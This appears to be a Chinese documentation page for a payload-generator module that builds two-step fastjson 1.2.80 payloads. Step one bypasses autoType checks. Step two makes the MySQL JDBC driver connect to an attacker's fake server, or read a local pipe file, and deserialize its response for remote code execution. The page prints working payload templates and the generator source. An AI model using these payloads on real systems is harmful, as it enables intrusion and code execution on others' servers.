Skip to content

Latest commit

 

History

History
65 lines (54 loc) · 6.02 KB

File metadata and controls

65 lines (54 loc) · 6.02 KB

FastjsonMySQL1_2_80(FastjsonMySQL1_2_80)

  • 类别:fastjson 别名:— 优先级:—
  • 作者:—
  • 依赖mysql5 < 5.1.49(mysql-connector-java)、1.2.75 < fastjson <= 1.2.80

作用

生成两段 Fastjson JSON payload,利用 MySQL JDBC 驱动的「恶意服务端 / autoDeserialize」特性:通过 com.mysql.jdbc.JDBC4Connection 连接到攻击者控制的假 MySQL(或本地 NamedPipe 文件),当 ServerStatusDiffInterceptor 读取服务器返回的数据时触发 MySQL JDBC 客户端反序列化,进而 RCE。针对 fastjson 1.2.80,提供「Jdbc 链接(出网)」与「不出网 PileFile」两种触发方式。

链接标签

  • 入口 tagsFastjsonPayloadEND —— 产物是交给 Fastjson 入口的 JSON 文本;END 表示自身即最终 sink(触发 MySQL 客户端反序列化)。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

// FastjsonMySQL1_2_80.java(模板节选)
public static String template1 = "{\"a\":\"{\\\"@type\\\":\\\"java.lang.Exception\\\",\\\"@type\\\":\\\"com.fasterxml.jackson.core.exc.InputCoercionException\\\",\\\"p\\\":{}}\",\"b\":{\"$ref\":\"$.a.a\"},\"c\":\"{\\\"@type\\\":\\\"com.fasterxml.jackson.core.JsonParser\\\",\\\"@type\\\":\\\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\\\",\\\"in\\\":{}}\",\"d\":{\"$ref\":\"$.c.c\"}}";
public static String template2 = "{\n\t\"@type\": \"java.io.InputStream\",\n\t\"@type\": \"com.mysql.jdbc.CompressedInputStream\",\n\t\"conn\":{\n\t\t\"@type\": \"com.mysql.jdbc.JDBC4Connection\",\n\t\t\"hostToConnectTo\": \"%s\",\n\t\t\"portToConnectTo\": %s,\n\t\t\"info\": {\n\t\t\t\"user\": \"%s\",\n\t\t\t\"password\": \"pass\",\n\t\t\t\"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\n\t\t\t\"autoDeserialize\": \"true\",\n\t\t\t\"NUM_HOSTS\": \"1\"\n\t\t},\n\t\t\"databaseToConnectTo\": \"dbname\",\n\t}\n}";
public static String template3 = "... \"socketFactory\":\"com.mysql.jdbc.NamedPipeSocketFactory\",\"namedPipePath\":\"%s\",\"DBNAME\":\"test\" ...";

public Object getObject() {
    if ("Jdbc链接".equals(this.mysqlVersion)) {
        return "[INFO] Step1:\n" + template1 + "\n\n[INFO] Step2:\n" + String.format(template2, this.domain, this.port, this.user);
    }
    if ("不出网PileFIle".equals(this.mysqlVersion)) {
        return "[INFO] Step1:\n" + template1 + "\n\n[INFO] Step2:\n" + String.format(template3, this.PipePath);
    }
    return "请选择  Jdbc链接/不出网PileFIle";
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();
}
  • 自包含、两段式invoke 直接调用无参 getObject(),产物按 mysqlVersion 分支拼出「Step1 + Step2」两段 payload,供分两次发送。
  • Step1(template1)— autoType 绕过预热:利用 fastjson 1.2.80 的字符串内嵌 JSON + $ref 组合,a/c 是内嵌 JSON 字符串,@type 双写(java.lang.ExceptionInputCoercionExceptionJsonParserUTF8StreamJsonParser),b/d$ref 引用 $.a.a/$.c.c 迫使二次解析。这是 1.2.76~1.2.80 期间通过异常类/父类型「预置」目标类、绕过 checkAutoType 黑名单的手法,为 Step2 加载 com.mysql.jdbc.* 铺路。
  • Step2 触发点(template2/template3):外层 @type 双写 java.io.InputStreamcom.mysql.jdbc.CompressedInputStream,其 conncom.mysql.jdbc.JDBC4Connection。fastjson 通过 setter 填入连接参数:
    • template2Jdbc 链接/出网):hostToConnectTo/portToConnectTo/user 指向攻击者假 MySQL;关键 infostatementInterceptors=ServerStatusDiffInterceptorautoDeserialize=true。当客户端连接假 MySQL 并读取其伪造响应时,ServerStatusDiffInterceptorpopulateMapWithSessionStatusValues 中对服务器返回值做 JDBC 反序列化——攻击者返回恶意序列化流即触发反序列化 gadget(配合 CC/CB 等),完成 RCE。
    • template3不出网 PileFile):把 socketFactory 换成 com.mysql.jdbc.NamedPipeSocketFactorynamedPipePath 指向本地已上传的 PipeFile.bin,从本地命名管道文件读取伪造响应,实现不出网利用。注意源码 template3 中 "NUM_HOSTS":"1",,"socketFactory" 处有一个多余逗号(反编译原样,为已知模板细节)。
  • description 提醒:不出网 PileFile 方式需先上传流文件;Dbname 固定为 test,改动会连不上,且生成的流文件变化后须重新生成。

参数(@Param)

字段 名称 说明 默认 可选值
domain mysql ip 假 MySQL 服务器地址(Jdbc 链接方式用) 127.0.0.1 任意 IP/域名
port mysql端口 假 MySQL 端口 3308 任意端口
user mysql用户名 连接用户名 mysql 任意字符串
PipePath mysqlPipe文件地址 不出网方式的本地命名管道/流文件路径 PipeFile.bin 本地文件路径
mysqlVersion Jdbc链接/不出网PileFIle 选择触发方式 Jdbc链接 Jdbc链接不出网PileFIle

适用版本与原理要点

  • 适用 1.2.75 < fastjson <= 1.2.80,且需目标 classpath 存在 mysql-connector-java 5 (< 5.1.49)
  • 真正的 RCE 由 MySQL 驱动的 autoDeserialize + ServerStatusDiffInterceptor 在客户端反序列化服务端数据时完成,因此目标还需存在可用的反序列化 gadget(如 CC/CB)。
  • 出网方式需搭配假 MySQL 服务端;不出网方式需先上传 PipeFile 流文件,且 Dbname=test 不可改。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联